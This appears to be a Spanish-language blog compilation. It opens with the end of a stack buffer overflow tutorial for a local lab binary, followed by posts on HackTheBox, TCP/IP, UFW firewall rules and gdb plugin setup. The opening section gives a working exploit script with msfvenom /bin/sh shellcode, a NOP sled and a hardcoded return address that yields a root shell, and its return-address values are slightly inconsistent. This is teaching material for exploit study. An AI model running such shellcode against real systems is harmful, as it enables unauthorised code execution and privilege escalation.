Luego creamos una secuencia de NOPs (‘\x90’) con una longitud de 256 bytes (valor de buffer) menos la longitud del shellcode, de este modo nos aseguramos espacio para nuestra shellcode en buffer.

nop = b"\x90"*(256-len(shellcode))

3. Generamos 8 NOPs mas para sobreescribir RBP

rbp = b"\x90"*8

Nuestro PoC parcial quedaria asi:

import sys

# Shellcode -- /bin/sh @ msfvenom
shellcode = b"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"
shellcode += b"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"
shellcode += b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"
shellcode += b"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"
shellcode += b"\xc0\xa3\x94\xfb\x95\x0c\x70";

# Set values
nop = b"\x90"*(256-len(shellcode))
rbp = b"\x90"*8

sys.stdout.buffer.write(nop+shellcode+rbp)

Con sys.stdout.buffer.write es una forma de escribir bytes directamente en el buffer de salida estándar (stdout) y no realiza ninguna codificación de caracteres.
Esto no agrega el carácter de nueva línea \n al final.

Lo ultimo que nos quedaria es darle una direccion a RIP para que apunte a la zona de nuestra shellcode. Pero primero ejecutemos nuestro PoC parcial y verifiquemos:

python3 exploit.py >exploit

Así seria el contenido del archivo generado por nuestro EXPLOIT.PY hacia un archivo llamado exploit.
Ahí podemos ver la cantidad de los NOPs inundando el BUFFER y luego nuestra shellcode al final + los últimos 8 bytes de NOPs para sobrescribir RBP.

Volvemos a ejecutar el binario con gdb:

gdb-gef -q ./b0fMe

Ahora seteamos un breakpoint en main y luego ejecutamos nuestro exploit parcial:

b main 
r $(cat exploit)

Para en nuestro breakpoint de MAIN. Ahora setearemos un breakpoint en el ultimo RET de la función vulnerable “myfunc”, justo antes de que se produzca el segmentation fault:

disassemble myfunc
b *0x000000000040119c

Volvemos a apretar “c” para continuar la ejecución del binario y parara en nuestro breakpoint de “myfunc”:

Si hacemos un info register de RBP nos muestra lo siguiente:

i r rbp
rbp            0x9090909090909090  0x9090909090909090

Significa que logramos NOPear el RBP, y si ahora examinamos varias direcciones de memoria a partir de la direccion almacenada en el registro del stack pointer ($rsp) y lo mostramos en hexadecimal veremos lo siguiente:

x/180xg $rsp

Como vemos ahí están todos nuestros Nops inundando y nuestra shellcode.
Bien solo restaría setear alguna de esas direcciones donde están los NOps para que cuando ingrese a esa zona, aprovechemos el Nop-slide y fluya hasta ejecutar nuestra shellcode. Para este ejemplo elegiré la siguiente direccion y la pondré la seteo en el exploit: 0x7fffffffe8c8

Para setearla en el exploit tenemos que setearla del modo inverso ya que el CPU lo entiende en Little-Endian (mas adelante mostrare que hay formas con python con struct, y alternativas para ponerlas directamente, pero de momento la ponemos asi):

ret = b"\xc8\xe8\xff\xff\xff\x7f"

Finalmente generamos nuestro payload y concatenamos todo lo que tenemos:

sys.stdout.buffer.write(nop+shellcode+rbp+rip)

Final Exploit: (exploity.py)

import sys

# Shellcode -- /bin/sh @ msfvenom
# shkz 

shellcode = b"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"
shellcode += b"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"
shellcode += b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"
shellcode += b"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"
shellcode += b"\xc0\xa3\x94\xfb\x95\x0c\x70";

# Set values

nop = b"\x90"*(256-len(shellcode))
rbp = b"\x90"*8
ret = b"\xb8\xe8\xff\xff\xff\x7f"

# Crafting Pwned

sys.stdout.buffer.write(nop+shellcode+rbp+ret)

• Generamos el exploit:

python3 exploit.py >exploit

Y si lo ejecutamos:

Somos root 😀

Por ultimo, si analizamos el exploit en el gdb, repitiendo los pasos de antes, poniendo un breakpoint en Main y luego en el RET de myfunc:

Finalmente si examinamos el memory layout:

x/180xg $rsp

Hasta el próximo paper donde empezare a activar las protecciones.
Muchas gracias.

References:

http://ref.x86asm.net/coder64.html
https://en.wikipedia.org/wiki/Assembly_language
https://valsmaras.medium.com/
https://www.amazon.co.uk/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441
https://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86/
https://en.wikipedia.org/wiki/NOP_slide
https://es.wikipedia.org/wiki/Endianness

¿Que es HackTheBox y como ayuda a potenciar tus Hacking skills?

Recuerdo que desde muy chico cuando iniciaba en este mundo de los hackers y seguridad (y hablamos de mas de 20 años aprox), deseaba mucho que exista una plataforma como HackTheBox para medir mis niveles de conocimientos.

Antiguamente para poder practicar ciertos skills de hacking y entender como funcionaba no había otra forma que ‘atacar’ directamente a una pc, no estaba tan avanzada la tecnología de virtualizacion y menos aun el rendimiento que llevaba esto para el hardware de aquella época ni hablar de la economía para comprar dicho hardware.

Hoy al mismo tiempo que la tecnología avanza, también aparecen nuevas metodologías de enseñanzas que simplifican mucho la curva de aprendizaje y ahi es donde entra en juego HackTheBox (entre tantas otras claro, pero en este caso me enfoco en la mencionada).

¿Que es la plataforma HackTheBox?

Es una plataforma online que esta diseñada para proporcionar un entorno seguro y controlado donde uno puede registrarse y automáticamente enfrentarse a desafíos de hacking. Sin hacerle daño a ninguno tercero. Por ende, siendo todo totalmente LEGAL.

HackTheBox cuenta con una amplia gama de maquinas virtuales las cuales son desarrolladas ya sea por integrantes del Staff o por participantes registrados que envían sus maquinas, previo chequeo general de la misma antes de ser aprobada y lanzada a la plataforma.

El objetivo de estas maquinas virtuales las cuales están categorizadas con distintos tipos de dificultad, que van desde EASY hasta INSANE, ayudan a sumergirte en situaciones del mundo real y te desafían a encontrar y explotar vulnerabilidades para obtener acceso a los sistemas.

Potenciando tus Hacking Skills.

Si le dedicas tiempo, esta plataforma te permite mejorar habilidades en distintos tipos de áreas, desde hacking, seguridad, explotación de vulnerabilidades, análisis forense, análisis de malware hasta ingeniería inversa, entre otras.

Uno de los aspectos a resaltar también es el enfoque constante que le ponen al Hacking Etico. HackTheBox promueve un código de conducta ético y legal, recordando siempre a los participantes que usen sus habilidades con responsabilidad y respeto por la privacidad y seguridad de los demás.

HackTheBox Academy.

Por otro lado, cuenta con una plataforma educativa diseñada para proporcionar cursos y capacitación. Ofrece una variedad de modulos que cubren diferentes aspectos de la seguridad informática, desde fundamentos básicos hasta técnicas avanzadas. Los cursos de HackTheBox Academy están diseñados por expertos en la industria y ofrecen material de alta calidad con ejercicios prácticos para mejorar las habilidades de los estudiantes. La plataforma se enfoca en brindar una experiencia de aprendizaje práctica y realista, permitiendo a los estudiantes enfrentarse a desafíos reales y obtener retroalimentación inmediata.

Modo de Competencia o Ranked.

A medida que vas superando los desafíos de HackTheBox.com, podes avanzar en los rangos dentro de la plataforma. Se empieza con un rango de Newbie o Novato y, a medida que vas resolviendo challenges o maquinas, vas adquiriendo puntos por resolverlos y con esos puntos que vas acumulando te permiten avanzar y ascender a rangos más altos. Este sistema de rangos motiva a los participantes a seguir aprendiendo y mejorando constantemente. Al menos en mi caso por culpa de mi “yo competitivo 😛”.

La comunicacion de nuestras computadoras.

La comunicación entre computadoras es esencial para el funcionamiento de las redes ya sean locales o Internet. A través de distintos medios, las computadoras pueden intercambiar información, enviar y recibir datos permitiendo intercambiar mensajes en cuestiones de segundos. Veamos como llegamos a hacer todo esto.

Estas comunicaciones se permiten en principio por “Protocolos de Internet”.
Vamos a definirlo para poder comprender el resto.

¿Que es un Protocolo de Internet?.

Un protocolo de Internet es un conjunto de reglas y normas que define cómo deben comunicarse las computadoras en una red. Estas reglas establecen el formato y el orden de los mensajes transmitidos, así como los procedimientos para el envío, recepción y manejo de datos. Los protocolos de Internet garantizan que las computadoras puedan intercambiar información de manera coherente y confiable, permitiendo la conectividad en la red. Uno de los protocolos más conocidos y utilizados en Internet es el TCP/IP. -Transmission Control Protocol/Internet Protocol- lo cual en español seria (Protocolo de Control de Transmisión / Protocolo de Internet).

Origenes del protocolo TCP/IP:

Bien, como dijimos las computadoras se comunican entre sí utilizando un protocolo común llamado TCP/IP, que en principio fue desarrollado en la década de 1970 para la red ARPANET.

(Arpanet o Advanced Research Projects Agency Network, una red de agencias de proyectos de investigación avanzada, construida en 1969, esta red fue creada en principio con fines militares por el departamento de Defensa de los EEUU y permitía conectar a universidades y academias entre si).

Hay que aclarar algo, y es que como mencionamos anteriormente TCP e IP son dos protocolos diferentes. El Internet Protocol (IP) se encarga de obtener la dirección a la que se envían los datos, mientras que TCP (Transmission Control Protocol) se encarga de la entrega de los datos una vez que se tiene la dirección IP.

Aunque podrían funcionar de modo separados, es común referirse a ellos como TCP/IP debido a que se usan en conjunto de manera habitual y no tendrían tanto sentido uno sin el otro.

El papel importante del modelo TCP en la comunicación.

El modelo TCP/IP divide los datos en paquetes y los envía a través de cuatro capas distintas. Estas capas son atravesadas tanto en el envío como en la recepción de los datos, y se vuelven a juntar en el destino.

El proceso está estandarizado para garantizar una comunicación eficiente y predecible. El modelo TCP/IP es ampliamente utilizado y es una de las formas más eficientes de transferir datos por Internet.

Las cuatro capas del modelo son las siguientes:

• Capa de Aplicación: Es la capa más alta del modelo TCP/IP y abarca las aplicaciones utilizadas por los usuarios para acceder a la red, como el correo electrónico, la mensajería instantánea y las aplicaciones web. Esta capa permite la interacción entre el usuario y la red.

• Capa de Transporte: Esta capa proporciona una conexión de datos confiable entre dos dispositivos de comunicación. Se divide en segmentos o datagramas, confirma los paquetes recibidos y asegura que la información se transmita de manera adecuada y sin errores.

• Capa de Internet: También llamada capa de red, se encarga del enrutamiento y control del flujo de datos para garantizar una transmisión eficiente y correcta. Esta capa también se encarga de volver a ensamblar los paquetes de datos en el destino.

• Capa de Acceso a la Red: También conocida como capa de enlace a los datos, se encarga de gestionar la infraestructura física que permite la comunicación entre dispositivos a través de Internet. Incluye elementos como cables Ethernet, redes inalámbricas y tarjetas de interfaz de red.

¿Que es y como esta compuesta una Dirección IP?.

La dirección IP la podemos imaginar de modo sencillo como el documento de identidad único de una persona. Del mismo modo pasa con nuestras computadoras o dispositivos en internet. Cada dispositivo conectado a internet, ya sea un celular, una pc, una tablet, o cualquier otro dispositivo, tiene asignada una dirección IP. Esta dirección permite la identificación y la comunicación de los dispositivos de una red.

Existen dos versiones principales de direcciones IP.

• IPv4 / IPv6.

IPv4.

(Internet Protocol version 4) es un protocolo de dirección IP que se desarrolló en la década de 1980. Consiste en una cadena de cuatro números separados por puntos, que van del 0 al 255. Estas direcciones IP identifican de manera única a dispositivos en Internet.

IPv4 utiliza direcciones de 32 bits, lo que permite aproximadamente 4.3 mil millones de direcciones únicas. Estas direcciones se representan en cuatro grupos de números separados por puntos, como por ejemplo “192.168.0.1”. Sin embargo, debido al crecimiento exponencial de dispositivos conectados a Internet, el suministro de direcciones IPv4 ha llegado a su límite es por eso que se creo IPv6. El grado de transición a IPv6 aun es lento, y en la actualidad es ampliamente usado el IPv4.

IPv6.

(Internet Protocol version 6) utiliza direcciones de 128 bits, lo que proporciona un espacio de direcciones mucho más amplio que IPv4. Con aproximadamente 340 undecillones (un número extremadamente grande) o 340,282,366,920,938,463,463,374,607,431,768,211,456 de nuevas direcciones posibles, IPv6 puede satisfacer la creciente demanda de dispositivos y conexiones a Internet.

Las direcciones IPv6 se representan en grupos de cuatro dígitos hexadecimales separados por dos puntos, como por ejemplo “2001:0db8:85a3:0000:0000:8a2e:0370:7334”. Además, IPv6 ofrece características avanzadas de seguridad, autoconfiguración de direcciones y soporte mejorado para servicios de calidad de servicio (QoS) y movilidad.

Resumen.

En resumen, el modelo TCP/IP y los protocolos asociados son la columna vertebral de Internet y las redes modernas. Su comprensión y conocimiento nos permiten aprovechar al máximo las ventajas de la comunicación global. Con el continuo avance tecnológico, la evolución de TCP/IP y la lenta pero gradual transición de IPv6 como comentamos arriba, podemos esperar un futuro aún más conectado y eficiente en el mundo de las comunicaciones en red.

Un firewall es una barrera fundamental hoy en día en lo que respecta a seguridad, permite proteger sistemas informáticos controlando el flujo de datos entrantes y salientes desde y hacia una red. Básicamente es como un seguridad en una puerta de una discoteca decidiendo quien entra y quien no.

Basandonos con este ejemplo a nivel informatico, imaginamos que nuestro Firewall es el filtro entre nuestra pc o red de casa y la internet. Cuando los paquetes se mueven atraves de la red tanto entrante como saliente hacia Internet, todos pasan por este filtro que en base a la configuracion que tenga (desde ahora las llamaremos ‘Reglas/Rules’, decidira si se aprueba o no el ingreso o egreso de los paquetes y que hacer en determinados casos con los mismos.

Como dije anteriormente es una parte esencial de la seguridad informatica, ya que nos permite prevenir y bloquear posibles ataques o intrusiones tanto externas como internas.

Volviendo a mi representacion de la discoteca, el seguridad de la misma seguramente tenga algunas reglas para su trabajo, como por ejemplo una de vestimenta para el ingreso. Que todos entren con algo blanco, y si alguien no cumple esa regla entonces no entra.

En sistemas informáticos, esas reglas se basan en direcciones IP, Puertos, Protocolos, datos necesarios para que las computadoras realicen conexiones y se comuniquen. Existen distintos tipos de Firewalls, tanto de software como físicos. En el caso de este articulo hablaremos del UFW un firewall de software.

UFW | Breve intro.

La sigla UFW viene de Uncomplicated Firewall, haciendo referencia a que su desarrollo fue exclusivamente para entregar una interfaz amistosa al usuario y facil de configurar. Este se debe a que en la mayoria de sistemas basados en Linux quien esta presente como firewall es IPTABLES. Aunque en muchos ya esta su sucesor NFTABLES.

Para muchos usuarios utilizar iptables les resulta complicado sobre todo si posee excasos conocimientos en sistemas o networking y aun mas si es nuevo en Linux.

Ya que las reglas en iptables toman su tiempo en aprenderse y configurar a los gustos de uno o su contexto de red.

Es por eso que los desarrolladores de Ubuntu crearon UFW que es un FrontEnd para iptables. En pocas palabras, mediante pocos comandos y fáciles de entender en UFW podemos configurar iptables y dejar un firewall corriendo a nuestro gusto muy rápido y bastante eficaz.

UFW | Instalacion y configuracion

En este caso utilizo un sistema Arch. Pero UFW esta disponible principalmente en Ubuntu / Debian based y otras distros conocidas como Fedora, Centos OpenSUSE, Mint, no llevo un control de esto y quizas en algunas nuevas ya lo hayan incluido o quizas quitado de sus repositorios oficiales.

Si utilizas Arch y no se instaló por default:

sudo pacman -Syu ufw gufw

El paquete “gufw” es un entorno grafico para el ufw si no prefieren hacer las reglas por consola, si no quieren instalarlo pueden obviar de agregarlo a pacman, pero habia que mencionarlo.

Una vez que lo instalamos procedemos a hacer lo siguiente para que inicie el servicio de ufw y habilitarlo para que se ejecute automaticamente cada vez que el sistema arranca.

sudo systemctl start ufw

sudo systemctl enable ufw

UFW | Manipulando reglas en el Firewall.

— Agregando reglas

Para agregar reglas en el UFW lo podemos hacer facilmente de las siguientes dos maneras. Agregandolas por puerto o usando el nombre del servicio.

Veamos un ejemplo:

sudo ufw allow ssh

O tambien podriamos agregarla de este modo:

sudo ufw allow 22

Y si escribimos:

sudo ufw status

Veremos un listado de las reglas actuales y sus respectivas configuraciones.

Como vemos ahí esta nuestra regla para aceptar trafico al puerto 22.

Agregando reglas por puerto y protocolo.

Para ajustar un poco mas la regla, podemos especificar el protocolo. Quizas queramos que se acepte trafico del puerto 1500 TCP. Hariamos esto:

sudo ufw allow 1500/tcp

Como vemos la regla es agregada a la tabla tal cual la escribimos. Siguiendo el mismo caso si quisiera bloquear el mismo puerto pero UDP:

sudo ufw deny 1500/udp

Como resultado vemos que debajo del allow en TCP se agrego el DENY en UDP.

Eliminando Reglas

Para eliminar reglas el procedimiento es igual pero agregando la palabra delete sobre la regla de allow creada anteriormente, veamos:

sudo ufw delete allow 1500/tcp

Como vemos se elimina la regla creada y se verifica con el comando status que ya no forman parte de la tabla.

Reglas más avanzadas con direcciones de IP

Con UFW podemos realizar reglas mas avanzadas que nos permitan especificar mas nuestro filtrado a ciertas acciones. Por ejemplo podemos bloquear direcciones IP independientes o multiples, subredes, y combinar varias de estas con puertos y protocolos.

Veamos.

Bloqueando una determinada IP:

sudo ufw deny from 192.168.0.222

Bloqueando una determinada subred:

sudo ufw deny from 192.168.0.68/24

Combinando lo que vimos.. Aceptaremos una conexion desde una determinada ip a un determinado puerto y protocolo.

sudo ufw allow from 192.168.0.222 to any port 443 proto tcp

Habilitando / Deshabilitando el Firewall.

Podemos rapidamente habilitar o deshabilitar el firewall haciendo simplemente:

sudo ufw enable
sudo ufw disable

Logueando los eventos

En UFW podemos tener control del logging en distintos niveles. Primero para habilitar el logueo hacemos lo siguiente:

sudo ufw logging on

Luego para determinar el nivel que queramos loguear vamos a elegir entre low, medium o high:

sudo ufw logging medium

Entendiendo los Logs

Dependiendo la distro en la que estes utilizandolo puede ser que los logs esten en /var/log/ufw.log. Si no los ves ahi proba con alguno de los siguiente comandos:

sudo dmesg –color=always | grep -v ufw

sudo journalctl -f

Siguiendo los ejemplos de reglas de antes, veamos un ejemplo cuando bloqueamos todo tipo de trafico entrante. Desde otro dispositivo voy a hacerle un escaneo de puertos:

Este seria un caso de un log de UFW en el cual detallare a continuación. Cada línea del log se divide en distintas etiquetas:

• UFW BLOCK | UFW ALLOW: Simplemente que se bloqueo o que se acepta el trafico

• IN: Cuando el valor de este campo este completado como en el ejemplo, nos da a entender que fue ENTRANTE.

• OUT: Al igual que el ejemplo de IN en este caso si tiene un valor significa que el evento resulto SALIENTE.

• MAC: Es la combinacion de direcciones MAC de origen y destino.

• SRC: Indica la direccion IP del origen del paquete.

• DST: Muestra la direccion ip del destino del paquete, en este caso la de mi maquina virtual de prueba que recibe el ‘escaneo de puertos’.

• LEN: Muestra la longitud del paquete.

• TTL: Tiempo de vida del paquete..

• PROTO: Muestra bajo que protocolo se utiliza la transmision del paquete.

• SPT: Obtiene el puerto de origen del paquete.

• DPT: Indica el puerto de destino.

• WINDOW: Muestra el tamaño de la ventana de TCP

• SYN URGP: En este campo muestra la bandera SYN indica la solicitud para realizar una conexión y el URGP=0 significa que la conexión no se estableció.

Hasta acá el paper de UFW. Quizas vaya editandolo y completandolo mas. Pero creo que es suficiente de momento para empezar con una configuracion basica en UFW sin tantas complicaciones.

Para ser honesto hay una realidad a mi modo de ver y es que usarla a “secas”, es decir, de base.. sin ningún tipo de complemento acompleja un poco el asunto y resulta algo ‘aburrido’ visualmente hablando, y eso puede ocasionar en algunas personas que no sea la mejor experiencia de usuario.

Es por eso que si bien existen varios posteos al respecto, voy a comentar y setear tres de los complementos más habituales para mi y que facilitan un montón el reversing y explotación de binarios.

Descargando e instalando complementos para gdb:

En todo momento de descarga, estaré trabajando sobre el /home/user/

PEDA | Python Exploit Development Assistance for GDB.

PEDA es una tool escrita en Python, que boostea y potencia ampliamente el uso de GDB. Entre una gran cantidad de comandos y funciones destaca por la capacidad de poder identificar patrones de datos en la memoria, útil para la detección de desbordamientos de búfer, facilita la visualización y análisis de registros del CPU y de la memoria del programa en ejecución. Permite desensamblar el código, rastrear instrucciones y establecer breakpoints de manera más sencilla. Ofrece una gran ayuda para el desarrollo de exploits.

git clone https://github.com/longld/peda.git ~/.peda

Pwndbg | Debugging with a Python module.

Del mismo modo y con algunas variantes interesantes, Pwndbg está diseñado para testeos y desarrollo de exploits. Incluye funciones para la búsqueda de gadgets ROP. Proporciona comandos específicos para analizar y explotar vulnerabilidades del tipo heap, como desbordamientos de chunks. Permite a los usuarios integrar sus propios scripts y automatizaciones personalizadas en la depuración. Permite la depuración remota de binarios en máquinas y sistemas remotos, lo que es útil en entornos donde se necesita depurar aplicaciones distribuidas.Y mucho mas..

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
cd ..
mv pwndbg ~/.pwndbg-src
echo "source ~/.pwndbg-src/gdbinit.py" > ~/.gdbinit_pwndbg

GEF | GDB Enhanced Features

GEF es una extensión para GDB que añade comandos y características visuales para mejorar la experiencia de depuración. A diferencia de otras herramientas similares, GEF ofrece soporte para una amplia gama de arquitecturas, lo que lo hace útil tanto para el análisis de firmware en sistemas embebidos con procesadores MIPS o ARM como para la depuración estándar.

wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py

Editando el archivo de configuración .gdbinit:

El archivo .gdbinit es el archivo de configuración de GDB que permite personalizar y automatizar distintas opciones. Se puede incluir comandos y complementos para que se carguen automáticamente cada vez que iniciamos el debugger.

Considerando que ya descargamos los tres complementos mencionados vamos a configurar el .gdbinit del siguiente modo para que queden seteados (verifiquen bien si cambiaron paths o carpetas para evitar errores):

define init-peda
source ~/.peda/peda.py
end
document init-peda
Initializes the PEDA (Python Exploit Development Assistant for GDB) framework
end

define init-pwndbg
source ~/.gdbinit_pwndbg
end
document init-pwndbg
Initializes PwnDBG
end

define init-gef
source ~/.gdbinit-gef.py
end
document init-gef
Initializes GEF (GDB Enhanced Features)
end

Ya casi!. Creamos un script para ejecutarlo con el complemento deseado.

Bueno por ultimo, procedo a crear un script en el path /home/user/.local/bin/ en mi caso, este script me permite tomar alguno de los 3 argumentos.. [gef|peda|pwndbg]. Al archivo le puse “mygdb”, ustedes pongan el que gusten.

#!/bin/bash
# powered by <shkz>

# Check args
if [ $# -lt 2 ]; then
    echo "Usage: $0 [gef|peda|pwndbg] /path/of/binary"
    exit 1
fi

# Checking only valid arg
if [ "$1" != "gef" ] && [ "$1" != "peda" ] && [ "$1" != "pwndbg" ]; then
    echo "Invalid option. Type: 'gef', 'peda' or 'pwndbg'."
    exit 1
fi

# Check file
if [ ! -f "$2" ]; then
    echo "Binary file does not exist: $2"
    exit 1
fi

# gdb + plugin from .gdbinit
gdb -q -ex "init-$1" --args "$2"

Parte de este contenido lo adapte del original https://infosecwriteups.com/pwndbg-gef-peda-one-for-all-and-all-for-one-714d71bf36b8, pero con algunos cambios:

• En el original el autor crea 3 scripts en /usr/bin/ lo cual se vuelve repetitivo inecesariamente.

• Además ese path requiere permisos de root, por ende cree un único archivo localizado en /home/user/.local/bin con permisos de usuario.

• Codie solo 1 archivo en Bash-Script que toma uno de los 3 argumentos (complementos) instalados. Seguramente se pueda mejorar, o simplificar, pero funciona ;D